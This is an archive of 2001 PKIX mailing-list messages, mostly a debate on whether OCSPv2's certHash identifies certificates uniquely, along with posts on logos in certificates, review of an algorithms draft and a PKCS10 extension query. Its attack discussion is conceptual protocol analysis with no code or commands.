RE: OCSPv2: 02: certHash is not unique

[Ryan Hurst <[e-mail]>]

I agree, in our interoperability testing we have found that even with a
protocol with as few MAYs as OCSPv1 that there are a still a number of very
interesting non-standard ways that others have implemented their OCSP
clients/servers. For this reason I am one for keeping the MAYs to a minimum,
particularly for something as core as identification of the certificate in
question.

Ryan M. Hurst
Manager Solutions Engineering

-----Original Message-----
From: Ambarish Malpani [mailto:[e-mail]]
Sent: Thursday, March 29, 2001 2:09 AM
To: [e-mail]
Subject: RE: OCSPv2: 02: certHash is not unique



Mike,
    As I have said a few times before, I strongly oppose the
idea of using certHash as a method of identifying the certificate
whose status you want to check. It forces the responder to have
access to information that is not normally available to most
responders - even those run by most CAs (AFAIK).

I don't know that we are saving all that many bytes by using
certHash as opposed to certID.

It just doesn't make sense to me that we provide 5-6 different
ways of identifying a certificate in OCSP - I think it will
lead to a lot more interop problems, without buying us any
additional functionality.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Michael Myers [mailto:[e-mail]]
> Sent: Wednesday, March 28, 2001 5:59 PM
> To: [e-mail]; [e-mail]; [e-mail]
> Subject: RE: OCSPv2: 02: certHash is not unique
> 
> 
> Peter,
> 
> After some correspondence, I've come to the same conclusion 
> despite my prior
> proposal to Jim.  The high-level intent of the presence of an 
> option to
> hash/fingerprint the cert was to enable alignment to known 
> practices, not
> produce yet another variant.
> 
> Mike
> 
> > -----Original Message-----
> > From: [e-mail] [mailto:[e-mail]]
> > Sent: Thursday, March 29, 2001 9:47 AM
> > To: [e-mail]; [e-mail]
> > Subject: Re: OCSPv2: 02: certHash is not unique
> >
> >
> > "Carlin Covey" <[e-mail]> writes:
> >
> > >I am quite content with the suggestion that Jim made concerning
> > computing the
> > >certHash over only the signed portions of the certificate.
> >
> > I'm not.  I already have to create, track, store, and process a
> > whole pile of
> > certificate identifiers, and adding yet another wierdo 
> identifier which is
> > compatible with nothing else in existence to that pile when
> > there's no need for
> > it to be incompatible is something which I can really do without.
> >  The SHA-1
> > hash of the whole cert as "fingerprint" is pretty much
> > universally used and
> > accepted, unless there's a very strong reason not to use it I
> > don't see why we
> > need to invent yet another new identifier.
> >
> > Peter.
> >
> >
> 



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id TAA15718 for <[e-mail]>; Sat, 31 Mar 2001 19:04:25 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Sat, 31 Mar 2001 19:04:29 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]> for [e-mail]; Sat, 31 Mar 2001 19:04:29 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <HR26M0LN>; Sat, 31 Mar 2001 19:04:08 -0800
Content-return: allowed
Date: Sat, 31 Mar 2001 19:04:07 -0800
From: Ryan Hurst <[e-mail]>
Subject: RE: OCSPv2: 02: certHash is not unique
To: Ambarish Malpani <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

I agree, in our interoperability testing we have found that even with a
protocol with as few MAYs as OCSPv1 that there are a still a number of very
interesting non-standard ways that others have implemented their OCSP
clients/servers. For this reason I am one for keeping the MAYs to a minimum,
particularly for something as core as identification of the certificate in
question.

Ryan M. Hurst
Manager Solutions Engineering

-----Original Message-----
From: Ambarish Malpani [mailto:[e-mail]]
Sent: Thursday, March 29, 2001 2:09 AM
To: [e-mail]
Subject: RE: OCSPv2: 02: certHash is not unique



Mike,
    As I have said a few times before, I strongly oppose the
idea of using certHash as a method of identifying the certificate
whose status you want to check. It forces the responder to have
access to information that is not normally available to most
responders - even those run by most CAs (AFAIK).

I don't know that we are saving all that many bytes by using
certHash as opposed to certID.

It just doesn't make sense to me that we provide 5-6 different
ways of identifying a certificate in OCSP - I think it will
lead to a lot more interop problems, without buying us any
additional functionality.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Michael Myers [mailto:[e-mail]]
> Sent: Wednesday, March 28, 2001 5:59 PM
> To: [e-mail]; [e-mail]; [e-mail]
> Subject: RE: OCSPv2: 02: certHash is not unique
> 
> 
> Peter,
> 
> After some correspondence, I've come to the same conclusion 
> despite my prior
> proposal to Jim.  The high-level intent of the presence of an 
> option to
> hash/fingerprint the cert was to enable alignment to known 
> practices, not
> produce yet another variant.
> 
> Mike
> 
> > -----Original Message-----
> > From: [e-mail] [mailto:[e-mail]]
> > Sent: Thursday, March 29, 2001 9:47 AM
> > To: [e-mail]; [e-mail]
> > Subject: Re: OCSPv2: 02: certHash is not unique
> >
> >
> > "Carlin Covey" <[e-mail]> writes:
> >
> > >I am quite content with the suggestion that Jim made concerning
> > computing the
> > >certHash over only the signed portions of the certificate.
> >
> > I'm not.  I already have to create, track, store, and process a
> > whole pile of
> > certificate identifiers, and adding yet another wierdo 
> identifier which is
> > compatible with nothing else in existence to that pile when
> > there's no need for
> > it to be incompatible is something which I can really do without.
> >  The SHA-1
> > hash of the whole cert as "fingerprint" is pretty much
> > universally used and
> > accepted, unless there's a very strong reason not to use it I
> > don't see why we
> > need to invent yet another new identifier.
> >
> > Peter.
> >
> >
> 


Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by above.proper.com (8.9.3/8.9.3) with SMTP id RAA02760 for <[e-mail]>; Fri, 30 Mar 2001 17:42:02 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Fri, 30 Mar 2001 18:41:31 -0700
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise Internet Agent 5.5.5.1
Date: Fri, 30 Mar 2001 18:41:29 -0700
From: "Bob Jueneman" <[e-mail]>
To: <[e-mail]>
Subject: Gee, was it something I said?
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id RAA02762

I just received the following message, with the subject 
"ScanMail Message: To Sender, sensitive content found and action taken." 

>>> System Attendant <[e-mail]> 03/30/01 06:10PM >>>
>Trend SMEX Content Filter has detected sensitive content. 

>Place = [e-mail] ; ; 
>Sender = Bob Jueneman 
>Subject = RE: Logotypes in certificates 
>Delivery Time = March 30, 2001 (Friday) 17:10:55 
>Policy = Verisign 
>Action on this mail = Archive message 

>Warning message from administrator: 
>Content filter has detected a sensitive e-mail. 

I can only wonder what would have happened if I had 
referred to the fact that a number of couples attended 
SuperBowl XXX, or that I saw a  Robin Red Breast yesterday, 
or commented on the Nazi use of cryptography 
during WWII, or to the fact that some programs bomb 
out all too often, or that some photocopiers have difficulty 
discriminating between various shades of blacks,
or that a photographer took several shots of the President, 
or that the best laid plans of mice and men gang aft aglay?

Guess I'll find out, unless my VeriSign certificate isn't accepted.

Gimme a break!  :-)

Bob








Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by above.proper.com (8.9.3/8.9.3) with SMTP id RAA00849 for <[e-mail]>; Fri, 30 Mar 2001 17:08:02 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Fri, 30 Mar 2001 18:07:30 -0700
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise Internet Agent 5.5.5.1
Date: Fri, 30 Mar 2001 17:53:33 -0700
From: "Bob Jueneman" <[e-mail]>
To: <[e-mail]>
Subject: RE: Logotypes in certificates
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id RAA00850

I've been behind on my e-mail or I would have jumped 
into this discussion much earlier, for I think that Stefan 
is dead on, and it isn't just about branding.

I proposed including logos in certificates about three or 
four years ago or longer, due to one overwhelming problem
when it comes to human acceptance of certificates,
and that is the issue of multiple language support and
non-ASCII characters.

I don't know about anyone else, but my Russian is extremely
rusty, and I can barely read the alphabet. I don't speak or
read Greek, but I can at least read the alphabet.

Now, if someone sends me a certificate with a name in 
Japanese, Chinese, Hebrew, Arabic, Sanscrit, Thai,
or Klingon -- arbitrary Unicode characters, if you
will --  what I am supposed to do with it? I can't even read 
the characters well enough to do a visual comparison
for equality.

And it gets worse when you consider the issue of "right to
use" names, particularly in some of the Asian countries where 
the CAs are closely tied to the government -- they will 
insist on the native language of that country being
used.

Yes, you could put either an English translation or
transliteration in an alternate subject name, but those 
names probably aren't in any sense official, and 
there are therefore significant right to use issues.
When you translate from the Cyrillic, should the name
be "Krasny Izvestia" , or "Red Star"?  Likewise
there are the "Peking" vs. "Beijing" issues, etc.
To us these issues seem be relatively unimportant, but
wars have been fought  over such linguistic matters.

My options would therefore seem to be:

1. Accept everything that comes from VeriSign, etc.,
whether I can read the entity's name or not.

2. Reject everything that comes from VeriSign, etc.,
whether I can read the entity's name or not, and
especially if I can't -- make everyone speak English! :-)

3. Participate only in closed user groups where
the decisions as to whether I should accept a
certificate are taken out of my hands and are
enforced by my MIS organization or higher-ups.

None of these are acceptable, in my opinion.

But if I put a logo in the certificate, in all likelihood
that logo is a trademark that is vigorously defended
and may be recognized worldwide.

Yes, the CAs will have to worry about trademark right 
to use issues, but in fact those issues are well understood
from a legal perspective, and certainly under better 
control than the slippery issue of right-to-use for DNS names.

I don't have an opinion yet as to issues of precisely how
such information should be encoded, and/or whether
name subordination ought to apply, but I think there is
a strong justification for the ability to include a logo
in a certificate.

Off the top of my head, I believe it ought to be possible to
associate a logo with both Subject and Issuer, and
I absolutely agree with Russ -- a policy OID or constraint
would be an absolutely terrible place to put it, except perhaps
as a seal of approval or qualification mark for a closed 
user group or association.

Bob

Robert R. Jueneman
Security Architect

Novell, Inc -- the leading provider of Net services software





Received: from tholian.securitydynamics.com (mail.rsasecurity.com [204.167.112.129]) by above.proper.com (8.9.3/8.9.3) with SMTP id PAA25874 for <[e-mail]>; Fri, 30 Mar 2001 15:55:07 -0800 (PST)
Received: from sdtihq24.securid.com by tholian.securitydynamics.com via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 30 Mar 2001 23:52:49 UT
Received: from HOUSLEY-LAP.rsasecurity.com (ebola.securid.com [192.168.7.4]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id SAA09532; Fri, 30 Mar 2001 18:54:55 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Fri, 30 Mar 2001 14:30:03 -0500
To: "Tolga Acar" <[e-mail]>
From: Russ Housley <[e-mail]>
Subject: Re: WG Last Call: Algorithms draft
Cc: <[e-mail]>, <[e-mail]>
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Tolga:

>* For reference to the RFC corresponding to PKCS#1, RFC2437 obsoletes 
>RFC2313. Replace all references to 2313 with 2437.

We only use PKCS#1 v1.5, so the older reference is still okay.

>  * For DSA, there is a FIPS 186-2. It may be wise to replace all 
> references to FIPS 186 by FIPS 186-2.

You are right.  Since FIPS 186-2 includes three signature algorithms, we 
thought that the reference to a document with a single signature algorithm 
was more helpful.

>* In Section 2.3.3, the Diffie-Hellman's Domain Parameters definition, it 
>says"g specifies the generator of the multiplicative subgroup of order g". 
>The order is not g, it must be q. Yes, the same error is also in RFC2459, 
>and I posted about this more than a year ago, but no one seems to care.
>It is also prudent to modify the definition of q as "the large prime 
>factor of p-1, and the order of g".

We will fix it in this document.  Once an RFC is posted, it cannot be changed.

We did not mean to ignore your comments.  Sorry.  Please review the 
soon-to-be-posted update and make sure we get it right.

>* A refererence to the IEEE's P1363 Standard Specifications for Public Key 
>Cryptography seems appropriate for all algorithms, in addition to 
>references to various X9s.

It is my understanding that X9 and IEEE P1363 groups cooperate.  However, 
the X9 groups assign the OIDs, so we were trying to point to the most 
helpful document.  We can certainly add IEEE P1363 to the list of 
references.  Can you provide the reference?  It would save a few minutes 
tracking it down.

>  * In section 2.3.5, definition of id-ecPublicKey has a reference to 
> id-publicKeyType, that is undefined. I suspect it is a typo.

Thanks.  We will fix it.  Again, please review the soon-to-be-posted update 
and make sure we get it right.

Russ



Received: from maila.telia.com (maila.telia.com [194.22.194.231]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA24504 for <[e-mail]>; Fri, 30 Mar 2001 07:31:56 -0800 (PST)
Received: from arport ([212.181.94.147]) by maila.telia.com (8.9.3/8.9.3) with SMTP id RAA15072 for <[e-mail]>; Fri, 30 Mar 2001 17:31:55 +0200 (CEST)
Message-ID: <012e01c0b92d$76275550$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: <[e-mail]>
References: <[e-mail]>
Subject: Secure Extranet Authentication the way it will done
Date: Fri, 30 Mar 2001 17:24:06 +0200
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

The answer to the question on how individuals should securely authenticate to business parties
have so far been: Use client-certificates and SSL-authentication.  Drawbacks:

- There is no global issuing of  "employment certificates"

- To become a CA or RA under somebody else's umbrella is not core business and does neither
  scale-up (large organizations want to do this themselves), nor scale-down (too complex and expensive)

- If every organization instead becomes a stand-alone CA the whole concept of trust disappears
  and business parties will have to constantly install new root certificates

- X509 certificates do not contain the information needed for many relations which leads
  to out-of-band maintenance of  user attributes which make certificates pretty useless

- IETF attribute certificates have currently almost no infrastructure support

- Bridge CAs address problems that are entirely imposed by poor use of PKI

On  http://buyer.x-obi.com  you can get a glimpse of the future of PKI for B2B.  
Enjoy a free PKI-secured B2B-ride!

Tech/marketing whitepaper:  http://www.x-obi.com/purple

A future standard based on the same basic concept is created in the OASIS security-service TC.

regards
Anders Rundgren
CEO X-OBI AB
+46 70 - 627 74 37





Received: from smtp02.symbian.com (smtp02.symbian.com [194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA26242 for <[e-mail]>; Fri, 30 Mar 2001 02:08:24 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]> for <[e-mail]>; Fri, 30 Mar 2001 11:06:56 +0100
Subject: RE: OCSPv2: 02: certHash is not unique
To: [e-mail]
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Fri, 30 Mar 2001 11:05:29 +0100
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.4a |July 24, 2000) at 30/03/2001 11:07:34
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id CAA26247

Combining a couple of replies here:


>>In the OCSP use, such an attack would mean a relying party and OCSP
server
>>would calculate different "fingerprints" for the same revoked
certificate. An
>>OCSP server with a list of "fingerprints" of revoked certificates, would
fail
>>to match the "fingerprint" in the OCSP request and would not return
"revoked".
>>This is a security violation.

>OK, so you can turn "revoked" into "unknown".  Exactly the same effect can
be
>obtained by flipping a single bit in the ID in the OCSP query (which isn't
>integrity-protected) as the TCP packet floats past.

Erm, no you can't.  This latter attack would be spotted by the client, who
should match the certificate identifiers in the response to those in the
original request.

This is not true of the problem James M highlights.  A client could very
easily fall in this trap accidentally, even without anyone acting
maliciously, if the server has the default-OK behaviour Carlin describes.

>This would be a security issue if  the responder
>calculated and stored certHash  for all the  certificatesthat it knows
>to  be revoked, and returned a response of "not revoked" if the target
>certHash was not found on itsstored  list.  This would happen whether
>the  bits of the target certificate were altered intentionally or by
error.
>The  "security considerations" section of the internet-draft should point
>out  that this is not an acceptableimplementation. The  response
>should always "fail-safe" to  "unknown".

Agreed.

>The vulnerability you've pointed out doesn't seem any worse than existing
ones.

Even if this were true, it's hardly a logical reason not to address it!


Regards,

Jonathan
------------
Dr Jonathan Tuliani
www.symbian.com



**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************


Received: from server.ica.cz (server.ica.cz [195.47.13.11]) by above.proper.com (8.9.3/8.9.3) with ESMTP id XAA29799 for <[e-mail]>; Thu, 29 Mar 2001 23:17:27 -0800 (PST)
Received: from SZOTKOWSKI (com.ica.cz [195.47.13.10]) by server.ica.cz (8.9.2/8.8.7) with SMTP id JAA22784 for <[e-mail]>; Fri, 30 Mar 2001 09:17:11 +0200 (CEST)
Message-ID: <00e301c0b8e9$70c3ba20$[e-mail]>
From: "Martin Szotkowski" <[e-mail]>
To: <[e-mail]>
Subject: search for PKCS10 extension
Date: Fri, 30 Mar 2001 09:17:11 +0200
Organization: PVT, a.s.
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

I will add into PKCS10 request information about source of private key, but
I don't know if some extension exist or if I must create own.

I search for cases:
1. This information will be CSP Name who generate request
2. This information will be SHA1 over the Secret data on hardware token

thanks Martin




Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA03909 for <[e-mail]>; Thu, 29 Mar 2001 14:45:43 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id KAA01780; Fri, 30 Mar 2001 10:45:23 +1200 (NZST) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98590592325167>; Fri, 30 Mar 2001 10:45:23 (NZST)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: RE: OCSPv2: 02: certHash is not unique
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Fri, 30 Mar 2001 10:45:23 (NZST)
Message-ID: <[e-mail]>

"Manger, James H" <[e-mail]> writes:

>In the OCSP use, such an attack would mean a relying party and OCSP server
>would calculate different "fingerprints" for the same revoked certificate. An
>OCSP server with a list of "fingerprints" of revoked certificates, would fail
>to match the "fingerprint" in the OCSP request and would not return "revoked".
>This is a security violation.

OK, so you can turn "revoked" into "unknown".  Exactly the same effect can be
obtained by flipping a single bit in the ID in the OCSP query (which isn't
integrity-protected) as the TCP packet floats past.  I can certainly see your
point, but it's just another way of doing what you can already do (in fact by
taking advantage of the fact that the average peecee's clock can be out by
hours or even days you can go all the way and turn a "revoked" into an "OK" by
replaying old queries, so there are far more serious attacks than that).  The
vulnerability you've pointed out doesn't seem any worse than existing ones.

(Another thing about re-coding certs into non-DER forms, if you take a cert and
 BER-encode it by using an indefinite-length encoding, Windows won't even
 recognise the resulting object as a certificate any more, let alone be able to
 perform an OCSP query with it).

Peter.




Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA25249 for <[e-mail]>; Thu, 29 Mar 2001 12:26:55 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id HYP6Z3YS; Thu, 29 Mar 2001 12:23:17 -0800
From: "Carlin Covey" <[e-mail]>
To: <[e-mail]>
Subject: FW: OCSPv2: 02: certHash is not unique
Date: Thu, 29 Mar 2001 13:26:46 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_0002_01C0B853.E7391C90"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

This is a multi-part message in MIME format.

------=_NextPart_000_0002_01C0B853.E7391C90
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Jim,

I just realized that I did not CC the PKIX list.  I guess my confusion about
the
issue stemmed from my interpretation of a couple of sentences in your first
message in the thread:

"... These properties - unambiguity and uniqueness - are quite different.
   It is reasonable to assume a certificate thumbprint is unambiguous,
   but it is dangerous to assume it is unique for the certificate."

I came up with two interpretations for "... unique for the certificate."

(1) for every certificate there is just one hash
(2) there are no two certificates with the same hash

Interpretation (1) matched my working definition of "unambiguous," so I
attached interpretation (2) to "unique."  And it is quite true that one
should
not assume that there are no two certificates with the same hash (the
size of the hash value space being much smaller than the size of the
input space).  So I tried to guess why you said that it is dangerous,
and I came up with the "birthday attack" scenario.  That proved to be
an incorrect guess.

- Carlin

  -----Original Message-----
  From: Carlin Covey [mailto:[e-mail]]
  Sent: Thursday, March 29, 2001 10:33 AM
  To: Manger, James H
  Subject: RE: OCSPv2: 02: certHash is not unique


  Jim,

  Ahh!  I see.  I thought the attack was an attempt to alter the certificate
  so that the hash value would match a good certificate, thereby causing
  the responder to return a "good" response.  In the case that you cite
  the responder should return a response of "unknown" (since it is highly
  unlikely that the hash would match any real certificate due to the
  "anti-birthday attack"  feature of SHA-1).  This would only a security
  issue if the Relying Party uses the certificate anyway.

  But I see your point.  This would be a security issue if the responder
  calculated and stored certHash  for all the certificates that it knows
  to be revoked, and returned a response of "not revoked" if the target
  certHash was not found on its stored list.  This would happen whether
  the bits of the target certificate were altered intentionally or by error.
  The "security considerations" section of the internet-draft should point
  out that this is not an acceptable implementation. The response
  should always "fail-safe" to "unknown".

  Regards,

  Carlin

  ____________________________

  -  Carlin Covey
     Cylink Corporation



    -----Original Message-----
    From: Manger, James H [mailto:[e-mail]]
    Sent: Thursday, March 29, 2001 1:05 AM
    To: '[e-mail]'
    Subject: RE: OCSPv2: 02: certHash is not unique


    Peter & Calin,

        >> An attacker can modify the bytes (hence thumbprint)
        >> without modifying the semantics of a certificate.

      > But the same can happen for a "fingerprint" without it ever having
been raised as an issue in the past

    This is NOT an issue for the way browsers currently use "fingerprints",
but it IS an issue for OCSP.  These two uses rely on DIFFERENT properties of
the certificate id.

    In the current browser use, such an attack (modifying the "fingerprint",
but not the certificate) would mean the user fails to recognise that the
certificate is one they trust.  Hence, the user will treat the trusted
certificate as untrusted.  This is not a security violation.  It is a mild
(and irrelevant) form of Denial of Service.

    In the OCSP use, such an attack would mean a relying party and OCSP
server would calculate different "fingerprints" for the same revoked
certificate.  An OCSP server with a list of "fingerprints" of revoked
certificates, would fail to match the "fingerprint" in the OCSP request and
would not return "revoked".  This is a security violation.

    Note: If the OCSP server kept a list of "fingerprints" of un-revoked
certificates (and assumed all other were revoked) the attack would not
succeed.  However, this is not how revocation is usually implemented.

    [In some vague sort of pseudo UML]
    Browser use assumes:  (1)    id  *------1  certificate
    OCSP use assumes:     (2)   id    1-----*  certificate

    A hash of the DER-encoded complete certificate - "fingerprint" -
satisfies (1) but not (2).



    Calin,

    This issues has nothing to do with birthday attacks and nothing to do
with the security of SHA-1.


------=_NextPart_000_0002_01C0B853.E7391C90
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE></TITLE>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001>Jim,</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>I just=20
realized that I did not CC the PKIX list.&nbsp; I guess my confusion =
about=20
the</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>issue=20
stemmed from my interpretation of a couple of sentences in your first=20
</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001>message </SPAN></FONT><FONT color=3D#0000ff =
face=3DArial=20
size=3D2><SPAN class=3D003220920-29032001>in the =
thread:</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>"...=20
These properties - unambiguity and uniqueness - are quite =
different.&nbsp;=20
</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001>&nbsp;&nbsp; It is reasonable to assume a =
certificate=20
thumbprint is unambiguous, </SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001>&nbsp;&nbsp; but it is dangerous to assume it =
is unique=20
for the certificate."</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>I came=20
up with two interpretations for "... unique for the=20
certificate."</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>(1)=20
for every certificate there is just one hash</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>(2)=20
there are no two certificates with the same hash</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001>Interpretation (1) matched my working =
definition of=20
"unambiguous," so I</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001>attached interpretation (2) to =
"unique."&nbsp; And it=20
is quite true that one should</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>not=20
assume that there are no two certificates with the same hash=20
(the</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>size=20
of the hash value space being much smaller than the size of the=20
</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>input=20
space).&nbsp; So I tried to guess why you said that it is=20
dangerous,</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>and I=20
came up with the "birthday attack" scenario.&nbsp; That proved to=20
be</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>an=20
incorrect guess.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D003220920-29032001>-=20
Carlin</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D003220920-29032001></SPAN></FONT>&nbsp;</DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Carlin Covey=20
  [mailto:[e-mail]]<BR><B>Sent:</B> Thursday, March 29, 2001 =
10:33=20
  AM<BR><B>To:</B> Manger, James H<BR><B>Subject:</B> RE: OCSPv2: 02: =
certHash=20
  is not unique<BR><BR></DIV></FONT>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001>Jim,</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
  class=3D229111417-29032001>Ahh!&nbsp; I see.&nbsp; I thought the =
attack was an=20
  attempt to alter the certificate </SPAN></FONT></DIV>
